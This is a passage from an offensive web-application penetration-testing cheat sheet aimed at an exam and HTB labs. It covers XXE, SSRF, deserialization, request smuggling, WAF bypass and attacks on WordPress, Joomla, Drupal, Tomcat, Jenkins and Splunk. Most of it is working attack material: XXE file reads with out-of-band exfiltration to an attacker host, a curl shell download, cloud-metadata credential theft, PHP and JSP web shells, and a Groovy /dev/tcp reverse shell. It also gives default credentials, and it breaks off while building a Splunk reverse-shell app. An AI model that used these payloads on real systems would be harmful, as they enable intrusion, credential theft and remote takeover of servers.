<!ENTITY company "Inlane Freight"> ]> 1485 <root><name></name><email>&company;</email><message></message></root> 1486 <!-- response echoes "Inlane Freight" (not literal &company;) => entity resolution works --> 1487 ``` 1488 1489 **Exploit / Attack — direct read / source / RCE** 1490 ```xml 1491 <!-- local file read via EXTERNAL entity --> 1492 <!DOCTYPE email [ <!ENTITY company SYSTEM "file:///etc/passwd"> ]> <!-- also id_rsa, config creds --> 1493 1494 <!-- PHP source: raw <?php ... breaks XML, so base64 it with php://filter --> 1495 <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php"> 1496 1497 <!-- XXE->RCE only if the (rare) expect ext is loaded; $IFS replaces spaces to keep XML well-formed --> 1498 <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'$LHOST/shell.php'"> 1499 ``` 1500 1501 **Exploit / Attack — advanced (framework-agnostic) & blind OOB** 1502 ```bash 1503 # CDATA-wrap via parameter entities — non-PHP backends, preserves <>& verbatim (no base64 needed) 1504 echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd 1505 python3 -m http.server 8000 1506 ``` 1507 ```xml 1508 <!DOCTYPE email [ 1509 <!ENTITY % begin "<![CDATA["> 1510 <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> 1511 <!ENTITY % end "]]>"> 1512 <!ENTITY % xxe SYSTEM "http://$LHOST:8000/xxe.dtd"> 1513 %xxe; 1514 ]> 1515 <root><email>&joined;</email></root> 1516 ``` 1517 ```php 1518 // BLIND OOB — no reflection, no errors: exfil base64 file over an outbound request. listener index.php: 1519 <?php if(isset($_GET['content'])){ error_log("\n\n".base64_decode($_GET['content'])); } ?> 1520 ``` 1521 ```xml 1522 <!-- xxe.dtd hosted on $LHOST:8000 --> 1523 <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> 1524 <!ENTITY % oob "<!ENTITY content SYSTEM 'http://$LHOST:8000/?content=%file;'>"> 1525 ``` 1526 ```xml 1527 <!-- injected payload: pull the DTD, define %oob, then &content; fires the callback --> 1528 <!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://$LHOST:8000/xxe.dtd"> %remote; %oob; ]> 1529 <root>&content;</root> 1530 ``` 1531 ```bash 1532 # error-based (verbose PHP errors, no reflection): join a non-existent entity to leak %file; in the error text 1533 # <!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>"> 1534 # automate the whole OOB workflow once understood ([XXEinjector](https://github.com/enjoiz/XXEinjector); req file body replaced by literal XXEINJECT): 1535 ruby XXEinjector.rb --host=$LHOST --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter 1536 cat Logs/$IP/etc/passwd.log 1537 ``` 1538 1539 > [!warning] Watch out 1540 > - PHP source (`<?php`, `$`, `<>&`) breaks raw substitution → use `php://filter` base64 or the CDATA-wrap. `/etc/passwd` is plain text and substitutes cleanly, so read it *first* to prove the primitive. 1541 > - CDATA, error-based and OOB **all need outbound connectivity** from the target to fetch your DTD — confirm egress early. HTTP blocked but DNS open? DNS OOB (base64 as a subdomain label, catch with `tcpdump`) or Interactsh/Burp Collaborator. 1542 > - `expect://` RCE needs a non-default PHP ext — don't count on it; file read + source theft (creds, more bugs) are the reliable wins. 1543 > - Modern `libxml2` ≥ 2.9 disables external entities by default — XXE lives in legacy/misconfigured parsers, so always confirm with the internal-entity test before assuming it's dead. 1544 1545 ### 🌊 SSRF — server-side request forgery 1546 1547 **What to look for** → any feature that fetches a URL server-side: webhooks, "import from URL", PDF/HTML renderers, image proxies, RSS importers, `?url=`/`?dest=`/`?feed=` params, SAML/metadata URL fields. T1190 / mapped to ATT&CK via impact (cloud cred theft ≈ T1552.005). 1548 1549 **Target table** — what to aim the server at: 1550 1551 | Target | Payload | Payoff | 1552 |---|---|---| 1553 | Cloud metadata (AWS) | `http://169.254.169.254/latest/meta-data/iam/security-credentials/` | IAM role creds → full cloud pivot (IMDSv1; v2 needs a `PUT` token — try header-smuggling it) | 1554 | GCP metadata | `http://metadata.google.internal/computeMetadata/v1/` (+`Metadata-Flavor: Google`) | service-account tokens | 1555 | Azure metadata | `http://169.254.169.254/metadata/instance?api-version=2021-02-01` (+`Metadata: true`) | MSI tokens | 1556 | Internal HTTP | `http://127.0.0.1:8080/`, `http://localhost/admin`, RFC1918 sweep | reach admin panels bound to loopback only | 1557 | Redis (gopher) | `gopher://127.0.0.1:6379/_*1%0d%0a...` | write SSH key/cron via `CONFIG SET`+`SAVE`, or `EVAL` lua RCE | 1558 | MySQL (gopher) | `gopher://127.0.0.1:3306/_<raw protocol bytes>` | auth bypass / query exec against unauth'd local MySQL | 1559 | Internal file read | `file:///etc/passwd`, `file:///proc/self/environ` | source & env creds | 1560 1561 **Bypass filters** 1562 1563 ```text 1564 localhost variants: 127.0.0.1 127.1 2130706433(dec) 0x7f000001 [::1] 0 localhost.localdomain 1565 DNS trick: attacker-controlled domain resolving to 127.0.0.1 (e.g. nip.io: 127.0.0.1.nip.io) 1566 redirect trick: point at your URL that 302s to http://169.254.169.254/... (beats naive allowlists) 1567 parser confusion: http://allowed.com@127.0.0.1 · http://127.0.0.1#allowed.com · http://allowed.com%252f@127.0.0.1 1568 ``` 1569 1570 ```bash 1571 # Gopherus — builds the gopher:// payload for redis/mysql/fastcgi/zabbix... 1572 python3 gopherus.py --exploit redis # interactive: choose reverse shell / ssh key write 1573 python3 gopherus.py --exploit mysql -u root -q "select user();" 1574 1575 # SSRFmap — module-driven SSRF sweeps (portscan, redis, aws meta...) from a Burp req file 1576 python3 ssrfmap.py -r ssrf.req -p url -m aws,redis,portscan --level=4 1577 ``` 1578 1579 > [!warning] Watch out 1580 > - **Blind SSRF** (no response body back) is still exploitable: port-scan by response-time/error deltas, and confirm with an OOB callback (interactsh). 1581 > - Gopher payloads need **double URL-encoding** when the target param is itself URL-decoded once by the app and once by the SSRF client — if `%0d%0a` doesn't land, try `%250d%250a`. 1582 > - On HTB boxes the pattern is usually `http://127.0.0.1:<internal-port>/admin`-style; sweep `127.0.0.1` ports 1–10000 before going exotic. Cloud metadata only matters on actual cloud targets — check `http://169.254.169.254/` takes <1s to rule in/out. 1583 1584 ### 🧬 Insecure deserialization 1585 1586 **What to look for** → Java `AC ED 00 05` (`rO0` base64) in cookies/params, `.NET` `__VIEWSTATE`, PHP `O:4:"User":2:{...}` blobs, Python `pickle` (`gASV` / `KGRwMA...`), Ruby `BAh` (Marshal). Any of these = stop and reach for the gadget tools. 1587 1588 > [!tools] Deserialization payload generators (staged) 1589 > Java — ysoserial gadget chains (CommonsCollections, Spring, Hibernate...): 1590 > 1591 > [ysoserial-all.jar](/downloads/pentest-workflow/ysoserial-all.jar) ([SHA-256](/downloads/pentest-workflow/ysoserial-all.jar.sha256) · [GPG signature](/downloads/pentest-workflow/ysoserial-all.jar.sha256.asc)) 1592 > 1593 > .NET — ysoserial.net ViewState/BinaryFormatter/Json.NET payload plugins: 1594 > 1595 > [ysoserial.net_v1.36.zip](/downloads/pentest-workflow/ysoserial.net_v1.36.zip) ([SHA-256](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256.asc)) 1596 1597 ```bash 1598 # Java: generate a gadget payload, deliver base64'd into the cookie/param 1599 java -jar ysoserial-all.jar CommonsCollections6 "curl http://$LHOST:8000/pwn" | base64 -w 0 1600 java -jar ysoserial-all.jar URLDNS "http://$LHOST:8000/dnscheck" # blind probe first 1601 1602 # .NET ViewState (needs the machineKey or validation key when signed): 1603 ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami > c:\inetpub\wwwroot\o.txt" \ 1604 --path="/default.aspx" --apppath="/" --decryptionalg="AES" --validationalg="SHA1" \ 1605 --decryptionkey="<key>" --validationkey="<key>" 1606 1607 # PHP: write an object by hand when a magic method (__wakeup/__destruct/__toString) touches files/cmds 1608 O:8:"FileDrop":1:{s:4:"path";s:16:"/tmp/poison.log";} 1609 # phar deserialization: upload a phar-polyglot, trigger via phar:// in ANY file op (file_exists, md5_file) 1610 # -> phar metadata unserializes without include() — LFI not required 1611 ``` 1612 1613 > [!warning] Watch out 1614 > - Gadget chain must match a library **on the target classpath** — fingerprint versions (error pages, `/META-INF`, JS comments) before spraying chains; `URLDNS` is the safe universal probe. 1615 > - PHP phar deserialization fires on *any* filesystem function with a `phar://` path — `md5_file($_GET['f'])` is enough. Combine with the upload section's phar-polyglot. 1616 > - Pickle: the app must unpickle *your* bytes — look for `pickle.loads(base64.b64decode(request.cookies[...]))` patterns in leaked source. 1617 1618 ### 🏎️ Race conditions & request smuggling 1619 1620 **Race conditions (TOCTOU)** — single-use coupons, limit-bypass, OTP guessing, file-overwrite windows: the app checks a condition and acts on it in two steps. Burp **Turbo Intruder** (`race-single-packet-attack.py` template, HTTP/2 single-packet sync) fires 20–30 requests in the same network packet: 1621 1622 ```python 1623 # turbo intruder: single-packet race (Burp > Extensions > Turbo Intruder) 1624 def queueRequests(target, wordlists): 1625 engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1) 1626 for i in range(30): 1627 engine.queue(target.req, gate='race1') # queue all, hold at gate 1628 engine.openGate('race1') # release simultaneously 1629 ``` 1630 1631 **CRLF injection** → header splitting (`%0d%0aSet-Cookie:` / `%0d%0aLocation:`) → response splitting, cache poisoning, XSS via injected headers. Test on every redirect param. 1632 1633 **HTTP request smuggling (CL.TE / TE.CL / TE.TE)** — front/back-end disagree on request length: 1634 1635 ```text 1636 POST / HTTP/1.1 1637 Host: $DOMAIN 1638 Content-Length: 13 1639 Transfer-Encoding: chunked 1640 1641 0 1642 1643 G <- 'G' is left over and prefixes the NEXT user's request 1644 ``` 1645 1646 Confirm with Burp's **HTTP Request Smuggler** extension; exploit to bypass front-end ACLs (`/admin` proxied internally), poison caches, or hijack other users' requests. Observe response discrepancies — never smoke-test on infra you can't roll back. 1647 1648 ### 🔌 API attacks — GraphQL, kiterunner, WebSockets 1649 1650 **API route discovery** — regular wordlists miss versioned/nested API routes; [kiterunner](https://github.com/assetnote/kiterunner) ships kitebuilder-compiled route wordlists: 1651 1652 ```bash 1653 kr scan http://$IP -w routes-large.kite -x 10 --ignore-length=1055 1654 kr scan http://$IP -A=apiroutes-210320 -x 5 # precompiled Assetnote wordlist 1655 ``` 1656 1657 **GraphQL** — find it at `/graphql /api/graphql /graphiql /playground`; then: 1658 1659 ```graphql 1660 # introspection — dumps the entire schema (types, queries, mutations) 1661 {__schema{types{name,fields{name,args{name,description,type{name}}}}}} 1662 ``` 1663 ```bash 1664 # if introspection is off: field suggestion ("Did you mean...?") + clairvoyance-style brute, 1665 # or fuzz with GET ?query= and alias-based batching (bypasses rate limits) 1666 curl -s http://$IP/graphql -H 'Content-Type: application/json' \ 1667 -d '{"query":"{__schema{types{name}}}"}' 1668 # automate: graphql-cop (audit), InQL (Burp ext), DVGA as practice target 1669 ``` 1670 Watch for: mutations that change roles/reset passwords, nested-query DoS, IDOR on `user(id:)` node queries, JWT in GraphQL headers. 1671 1672 **WebSockets** — Burp (Proxy > WebSockets history) can intercept/replay WS frames: 1673 1674 - No origin check → **cross-site WebSocket hijacking** (CSWSH): victim browser opens the socket with their cookies. 1675 - Unauthenticated message channel → inject SQLi/XSS payloads in WS messages (same classes, new transport). 1676 - Test message tampering, replay, and authorization per-message — many apps auth the handshake only. 1677 1678 **Prototype pollution (brief)** — JS objects merge attacker keys: `{"__proto__":{"isAdmin":true}}` in a JSON body, or `?__proto__[polluted]=1` in query strings. Server-side (Node) → property pollution can flip auth checks or reach RCE via gadget properties (`shell`, `NODE_OPTIONS`). Client-side → DOM XSS gadgets. Confirm by reading the polluted property after the merge; payloads: PayloadsAllTheThings [Prototype Pollution](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Prototype%20Pollution). 1679 1680 ### 🛡️ WAF evasion & 403 bypass 1681 1682 **403-bypass header & path tricks** (loopback-restricted endpoints, CDN-fronted apps): 1683 1684 ```bash 1685 # header spoofing — the app trusts forwarding headers from the "trusted" proxy 1686 curl -H 'X-Forwarded-For: 127.0.0.1' http://$IP/admin 1687 curl -H 'X-Real-IP: 127.0.0.1' -H 'X-Originating-IP: 127.0.0.1' http://$IP/admin 1688 curl -H 'X-Custom-IP-Authorization: 127.0.0.1' http://$IP/admin 1689 1690 # path confusion — front-end normalises, back-end doesn't (or vice versa) 1691 curl http://$IP/admin/../admin/ # traversal normalisation 1692 curl http://$IP//admin/ # double slash 1693 curl http://$IP/admin%2f # encoded slash 1694 curl http://$IP/admin;.js # suffix decoration (Tomcat/Spring) 1695 curl http://$IP/admin%20 / %09 # trailing whitespace/tab 1696 # verb tampering also applies — see the HEAD/OPTIONS section 1697 ``` 1698 1699 **WAF evasion for injection payloads** 1700 1701 | Technique | Example | 1702 |---|---| 1703 | Case randomisation | `SeLeCt` (also sqlmap `--tamper=randomcase`) | 1704 | Comment/whitespace swap | `UN/**/ION`, `SEL%0bECT`, `UNION%23a%0aSELECT` | 1705 | Double/unicode URL-encode | `%2527` → decodes to `'` after one pass | 1706 | Chunked transfer encoding | `Transfer-Encoding: chunked` splits the payload across chunks WAFs don't reassemble | 1707 | Charset games | `?charset=utf-7` + utf-7-encoded payload (legacy IIS/IE) | 1708 | Parameter pollution | `?id=1&id=UNION...` — WAF inspects param 1, app uses param 2 | 1709 | JSON smuggling | same attack in a `application/json` body when the WAF only parses forms | 1710 1711 Encode/decode/transform everything in [CyberChef](https://gchq.github.io/CyberChef/) — build a recipe (URL-decode ×2 → base64) once, reuse it for every payload variant. 1712 1713 > [!warning] OPSEC — WAFs are sensors 1714 > Every blocked request is a logged IOC and may trigger IP bans that lock *you* out of the box (fail2ban/Cloudflare). Fingerprint the WAF first (`wafw00f http://$IP`), lower thread counts, and rotate through encoding tricks one at a time. On HTB, a "403 on everything" usually means **vhost** needed, not a WAF — re-check the Host header before reaching for evasion. 1715 1716 ### 🗃️ Source & config leaks — exposed .git, .env, backups 1717 1718 **What to look for** → `.git/HEAD` returning content, `.env` in the webroot, `config.php~`, `backup.zip`, `.DS_Store`, `swagger.json`. Cheapest wins in all of web enum. Tools: [git-dumper](https://github.com/arthaud/git-dumper) / [GitTools](https://github.com/internetwache/GitTools) for repo recovery, [gitleaks](https://github.com/gitleaks/gitleaks)/[trufflehog](https://github.com/trufflesecurity/trufflehog) for secret mining. 1719 1720 ```bash 1721 # exposed .git — check first, then dump the WHOLE repo 1722 curl -s http://$IP/.git/HEAD # "ref: refs/heads/master" = jackpot 1723 git-dumper http://$IP/.git/ ./repo # https://github.com/arthaud/git-dumper 1724 cd ./repo && git log --oneline && git show <old-commit> # deleted secrets live in history 1725 # or the GitTools suite (gitdumper.sh + extractor.sh): https://github.com/internetwache/GitTools 1726 1727 # .env / config / backup hunters 1728 ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \ 1729 -e .env,.git,.bak,.old,.zip,.tar.gz,.sql,.swp,.json,.yml,.config -mc 200 -c 1730 curl -s http://$IP/.env # DB_PASSWORD=..., APP_KEY=..., AWS keys 1731 curl -s http://$IP/config.php~ # editor backups serve SOURCE (not executed!) 1732 curl -s http://$IP/index.php.bak # same trick — .bak/.swp/.old bypass the PHP handler 1733 1734 # any repo found: mine it for secrets 1735 gitleaks detect --source ./repo -v 1736 trufflehog git file://./repo --only-verified 1737 ``` 1738 ([gitleaks](https://github.com/gitleaks/gitleaks) · [trufflehog](https://github.com/trufflesecurity/trufflehog)) 1739 1740 > [!tip] Why this comes first 1741 > Source disclosure (`config.php~`, `.git` dump) hands you **credentials, the exact filter logic, and the framework version** — it converts blind black-box attacks into white-box ones. Always burn 2 minutes on these paths before any brute force. Looted DB creds then feed the service attacks in [01 - Attacking Common Services - CPTS Cheat Sheet](/sheets/pentest-workflow/attacking-common-services-guide). 1742 1743 ### 🏢 Attacking Common Applications (fingerprint → known exploit) 1744 1745 Off-the-shelf apps behind a web port are the fastest foothold on the CPTS exam — a fingerprint plus a known CVE or a built-in "feature" (theme editor, script console, scripted input) beats hand-crafting a bug. Sweep web ports (`80,443,8000,8080,8180,8443,8500,8089,10000`), screenshot everything (STAGE 2 EyeWitness/gowitness block), then match the tell to the table below. Deep dives: 1 - Introduction to Attacking Common Applications · 2 - Attacking WordPress · 5 - Attacking Tomcat · 6 - Attacking Jenkins · 7 - Attacking Splunk · 8 - Attacking PRTG Network Monitor · 10 - Attacking GitLab · 13 - Attacking ColdFusion · 15 - LDAP and Web Mass Assignment Vulnerabilities. 1746 1747 > [!note] The pattern is always the same 1748 > **Fingerprint → confirm version → pick built-in-functionality abuse OR version-gated CVE.** Most of these land you a shell as the *service account*, which on Jenkins/Splunk/PRTG/Tomcat is very often `SYSTEM` (Windows) or `root` (Linux) — a privileged foothold with **no local priv-esc needed**. Always record the exact build number; nearly every CVE below is version-gated. 1749 1750 | App | Fingerprint / tell | Default creds to try | Known exploit → outcome | Note | 1751 |---|---|---|---|---| 1752 | **WordPress** | `wp-login.php`, `wp-content/`, `generator` meta, `?author=1` | — (enum users) | admin → Theme Editor `404.php` shell · vuln plugin (mail-masta LFI, wpDiscuz upload) | 2 - Attacking WordPress | 1753 | **Joomla** | `generator` meta, `/administrator/`, `joomla.xml` | `admin:admin` (set at install) | admin → Template Customise `error.php` shell · CVE-2019-10945 dir-trav | 3 - Attacking Joomla | 1754 | **Drupal** | "Powered by Drupal", `CHANGELOG.txt`, `/node/<id>` | — | PHP Filter module · backdoored module · Drupalgeddon 1/2/3 | 4 - Attacking Drupal | 1755 | **Tomcat** | `Server:` hdr, `/docs`, `/manager`, AJP `:8009` | `tomcat:tomcat`,`admin:admin`,`tomcat:s3cret` | `/manager` → WAR deploy → JSP shell · Ghostcat AJP LFI · CVE-2019-0232 | 5 - Attacking Tomcat | 1756 | **Jenkins** | login page on `:8080`, `/script` | none/anon-read misconfig | Groovy Script Console → `Runtime.exec()` RCE | 6 - Attacking Jenkins | 1757 | **Splunk** | `Splunkd httpd` on `:8000`/`:8089` | `admin:changeme`, expired-trial→no auth | custom app + scripted input → reverse shell | 7 - Attacking Splunk | 1758 | **PRTG** | `Indy httpd … Paessler PRTG` on `:8080` | `prtgadmin:prtgadmin` | CVE-2018-9276 notification cmd-inject (<18.2.39) | 8 - Attacking PRTG Network Monitor | 1759 | **osTicket** | `OSTSESSID` cookie, "powered by" footer | — | email-harvest → OSINT/breach creds → reuse (methodology, not a CVE) | 9 - Attacking osTicket | 1760 | **GitLab** | login page/logo, `/explore`, `/help` (post-auth) | self-registration on | register → repo secrets · CE ≤13.10.2 ExifTool RCE · CVE-2021-22205 | 10 - Attacking GitLab | 1761 | **ColdFusion** | `:8500`, `.cfm`/`.cfc`, `/CFIDE/administrator/` | — | CVE-2010-2861 dir-trav (creds) · CVE-2009-2265 FCKeditor unauth RCE | 13 - Attacking ColdFusion | 1762 | **CGI/Shellshock** | `cgi-bin/`, `.cgi`/`.sh` scripts | — | CVE-2014-6271 via `User-Agent` bash func | 11 - Attacking Common Gateway Interface (CGI) and Shellshock | 1763 | **IIS (tilde)** | `Microsoft IIS httpd`, 8.3 short names | — | `~` short-name disclosure → narrow wordlist → recover hidden files | 14 - IIS Tilde Enumeration | 1764 | **LDAP login** | `389/636` beside a web login | — | wildcard `*`/`*` auth bypass (LDAP injection) | 15 - LDAP and Web Mass Assignment Vulnerabilities | 1765 1766 --- 1767 1768 #### WordPress → admin Theme Editor shell + plugin RCE 1769 1770 Cred-getting (wpscan enumerate + xmlrpc/wp-login password attack) is the **WordPress (wpscan)** subsection above — don't repeat it. This is what to do **once you have admin**, plus the two unauth plugin bugs. 1771 1772 **What to look for** → admin login (or a vuln plugin string in the homepage source: `mail-masta`, `wpDiscuz`, `contact-form-7` with a `?ver=` pin). 1773 1774 **Enumerate (manual, catches plugins wpscan misses)** 1775 ```bash 1776 curl -s http://$DOMAIN/ | grep -oE 'wp-content/(themes|plugins)/[^/]+' | sort -u 1777 curl -s http://$DOMAIN/wp-content/plugins/<plugin>/readme.txt | grep -i 'stable tag' # pin version for CVE lookup 1778 ``` 1779 1780 **Exploit / Attack** 1781 ```bash 1782 # 1) Admin -> Appearance -> Theme Editor -> edit an INACTIVE theme's 404.php: system($_GET[0]); 1783 curl "http://$DOMAIN/wp-content/themes/twentynineteen/404.php?0=id" 1784 # same thing automated (uploads a malicious plugin, self-cleans on exit): 1785 msfconsole -q -x "use exploit/unix/webapp/wp_admin_shell_upload; set RHOSTS $IP; set USERNAME $U; set PASSWORD $P; set LHOST $LHOST; run" 1786 1787 # 2) mail-masta unauth LFI (no creds needed, plugin dead since 2016 but still found) 1788 curl -s "http://$DOMAIN/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd" 1789 1790 # 3) wpDiscuz CVE-2020-24186 unauth upload RCE 1791 python3 wp_discuz.py -u http://$DOMAIN -p /?p=1 1792 curl -s "http://$DOMAIN/wp-content/uploads/2021/08/<uploaded>.php?cmd=id" 1793 ``` 1794 1795 > [!warning] Watch out 1796 > - Edit an **inactive** theme's `404.php`, not the live theme — you won't visibly break the site, and the shell still executes on direct request. 1797 > - Use a non-obvious param name (an md5, not `cmd`) so a drive-by can't reuse your shell during the assessment window. 1798 > - Admin on WordPress **is** RCE via the Theme Editor — no extra exploit needed once you have creds. Automated scanners miss plugins; always `curl | grep` the source too. 1799 1800 --- 1801 1802 #### Joomla → Template Customise shell / dir-traversal 1803 1804 **What to look for** → `generator` meta = "Joomla!", `/administrator/` login, `robots.txt` Joomla paths. Login page returns a **generic** error → no username-enum oracle, brute the known `admin` account only. 1805 1806 **Enumerate / fingerprint version** 1807 ```bash 1808 curl -s http://$DOMAIN/ | grep Joomla 1809 curl -s http://$DOMAIN/administrator/manifests/files/joomla.xml | xmllint --format - # exact <version> 1810 curl -s http://$DOMAIN/plugins/system/cache/cache.xml # fallback version leak 1811 droopescan scan joomla --url http://$DOMAIN/ 1812 ``` 1813 1814 **Exploit / Attack** 1815 ```bash 1816 # brute the admin account (generic-error login = single known user, password list) 1817 python3 joomla-brute.py -u http://$DOMAIN -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin 1818 1819 # post-auth: Configuration -> Templates -> protostar -> Customise -> edit error.php 1820 # system($_GET['<md5>']); 1821 curl -s "http://$DOMAIN/templates/protostar/error.php?<md5>=id" 1822 1823 # pre-auth alt (auth'd core dir-trav, Joomla 1.5.0-3.9.4) 1824 python2.7 joomla_dir_trav.py --url "http://$DOMAIN/administrator/" --username admin --password admin --dir / 1825 ``` 1826 1827 > [!warning] Watch out 1828 > - Joomla's login error is deliberately generic — the WordPress user-enum trick does **not** work here; brute `admin` with a password list, not a combined spray. 1829 > - CVE-2019-10945 can **delete** directories — file deletion is destructive, avoid on a live engagement. 1830 1831 --- 1832 1833 #### Drupal → PHP Filter / backdoored module / Drupalgeddon 1834 1835 **What to look for** → "Powered by Drupal", `/node/<id>` URIs, `CHANGELOG.txt`. Admin RCE is **not** a one-click theme editor here — it needs the PHP Filter module or a backdoored module upload. 1836 1837 **Enumerate** 1838 ```bash 1839 curl -s http://$DOMAIN | grep -i Drupal 1840 curl -s http://$DOMAIN/CHANGELOG.txt | grep -m2 "" # newer Drupal blocks this by default 1841 droopescan scan drupal -u http://$DOMAIN # best-maintained scanner for Drupal modules+version 1842 ``` 1843 1844 **Exploit / Attack** 1845 ```bash 1846 # Drupal 7: Modules -> enable "PHP filter" -> Add content -> Basic page (Text format: PHP code): 1847 # <?php system($_GET['<md5>']); ?> 1848 curl -s "http://$DOMAIN/node/3?<md5>=id" 1849 # Drupal 8+: PHP filter removed from core -> download+install manually, then identical 1850 1851 # any version: bundle shell.php + .htaccess (re-enable /modules access) into a real module tarball, upload via Extend 1852 curl -s "http://$DOMAIN/modules/captcha/shell.php?<md5>=id" 1853 1854 # pre-auth SQLi -> rogue admin (Drupalgeddon, 7.0-7.31) 1855 python2.7 drupalgeddon.py -t http://$DOMAIN -u hacker -p pwnd 1856 msfconsole -q -x "use exploit/multi/http/drupal_drupageddon; set RHOSTS $IP; run" # cleaner 1857 # pre-auth RCE (Drupalgeddon2, <7.58/<8.5.1) — patch PoC to drop a base64 PHP shell instead of hello.txt 1858 python3 drupalgeddon2.py && curl "http://$DOMAIN/mrb3n.php?<md5>=id" 1859 # authenticated RCE (Drupalgeddon3, needs a session cookie w/ node-delete rights) 1860 msfconsole -q -x "use exploit/multi/http/drupal_drupageddon3; set RHOSTS $IP; set VHOST $DOMAIN; set DRUPAL_SESSION <SESS..=..>; set DRUPAL_NODE 1; set LHOST $LHOST; run" 1861 ``` 1862 1863 > [!warning] Watch out 1864 > - A `404` on `CHANGELOG.txt` does **not** rule out Drupal (newer installs block it) — fall back to droopescan. 1865 > - Drupalgeddon3 needs a valid `drupal_session` cookie **and** node-delete permission on the referenced `DRUPAL_NODE`. 1866 > - PoC scripts are Python 2 / EOL — prefer the Metasploit modules to avoid a legacy interpreter. 1867 1868 --- 1869 1870 #### Tomcat → /manager WAR deploy (msfvenom war) 1871 1872 **What to look for** → `Server: Apache Tomcat`, `/docs` default page, `/manager` + `/host-manager` (302), AJP on `:8009`. WAR deploy needs the `manager-gui`/`manager-script` role. 1873 1874 **Enumerate** 1875 ```bash 1876 curl -s http://$IP:8080/docs/ | grep Tomcat # version via /docs or Server header 1877 feroxbuster -u http://$IP:8080/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50 1878 # brute manager (msf ships tomcat_mgr_default wordlists: tomcat:tomcat, admin:admin, tomcat:s3cret...) 1879 msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; set RHOSTS $IP; set RPORT 8080; set stop_on_success true; run" 1880 ``` 1881 1882 **Exploit / Attack** 1883 ```bash 1884 # hand-rolled: WAR = zip. wrap the staged JSP web shell (attachments/rp-shell.jsp), deploy via Manager GUI 1885 cp attachments/rp-shell.jsp cmd.jsp 1886 zip -r backup.war cmd.jsp 1887 # Manager -> Browse backup.war -> Deploy 1888 curl "http://$IP:8080/backup/cmd.jsp?cmd=id" 1889 1890 # interactive: msfvenom reverse-shell WAR (skip the web shell) 1891 msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war > backup.war 1892 # or fully automate deploy+shell once creds are known: 1893 msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS $IP; set RPORT 8080; set HttpUsername tomcat; set HttpPassword admin; set LHOST $LHOST; run" 1894 1895 # Ghostcat unauth AJP LFI (Tomcat <9.0.31/8.5.51/7.0.100) — reads files UNDER webapps/ only 1896 python2.7 tomcat-ajp.lfi.py $IP -p 8009 -f WEB-INF/web.xml 1897 1898 # CVE-2019-0232 CGI cmd-inject (Windows Tomcat, enableCmdLineArguments) — URL-encode : and \ 1899 ffuf -w /usr/share/dirb/wordlists/common.txt -u http://$IP:8080/cgi/FUZZ.bat 1900 curl "http://$IP:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe" 1901 ``` 1902 1903 > [!warning] Watch out 1904 > - Deployed WAR app lives at `/<archive-name-without-.war>/` — miss that and you'll 404 your own shell. **Undeploy** it after use. 1905 > - Manager creds go as HTTP Basic (`Authorization: Basic <b64 user:pass>`) — `echo <b64> | base64 -d` to read them off the wire. 1906 > - Ghostcat is scoped to `webapps/` — it's config/route leakage (`WEB-INF/web.xml`), **not** arbitrary filesystem read. 1907 1908 --- 1909 1910 #### Jenkins → Groovy Script Console RCE 1911 1912 **What to look for** → Jenkins login page on `:8080`, `/script` console. Check **anonymous read/build** first — misconfigured anon JOB-create/BUILD rights is more common than a legacy CVE. 1913 1914 **Enumerate** 1915 ```bash 1916 curl -s http://$IP:8080/login | grep -i jenkins 1917 # /script is reachable once authenticated (even weakly) OR if anon perms are misconfigured 1918 ``` 1919 1920 **Exploit / Attack — Manage Jenkins → Script Console, paste Groovy** 1921 ```groovy 1922 // run a single command 1923 def sout = new StringBuffer(), serr = new StringBuffer() 1924 def proc = 'id'.execute() 1925 proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000); println sout 1926 1927 // reverse shell (Linux) — raw process array avoids Groovy quoting hell 1928 r = Runtime.getRuntime() 1929 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/$LHOST/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) 1930 p.waitFor() 1931 1932 // Windows 1933 println("cmd.exe /c dir".execute().text) 1934 ``` 1935 ```bash 1936 nc -lvnp 8443 1937 ``` 1938 1939 > [!warning] Watch out 1940 > - Jenkins commonly runs as `root`/`SYSTEM` → this console shell is an immediate privileged foothold, no local priv-esc. 1941 > - The chained CVE-2018-1999002 + CVE-2019-1003000 sandbox-bypass pre-auth RCE was fixed by LTS 2.303.1 — confirm the version before relying on it; treat as historical. 1942 1943 --- 1944 1945 #### Splunk → custom app scripted-input reverse shell 1946 1947 **What to look for** → `Splunkd httpd` on `:8000` (web) + `:8089` (mgmt). No CVE needed — abuse built-in scripted inputs. Expired Enterprise **trial silently drops to auth-free Free edition after 60 days**. 1948 1949 **Enumerate** 1950 ```bash 1951 nmap -sV -p 8000,8089 $IP # both "Splunkd httpd" = definitive 1952 # try admin:changeme (older default, shown on login page), then admin/Welcome1/Password123 1953 ``` 1954 1955 **Exploit / Attack — build & upload a malicious app** 1956 ```bash 1957 mkdir -p splunk_shell/bin splunk_shell/default 1958 # default/inputs.conf (interval is MANDATORY or it never fires) 1959 cat > splunk_shell/default/inputs.conf <<'EOF' 1960 [script://./bin/rev.py] 1961 disabled = 0 1962 sourcetype = shell 1963 interval = 10 1964 EOF 1965 # bin/rev.py (Linux — every full Splunk ships Python) 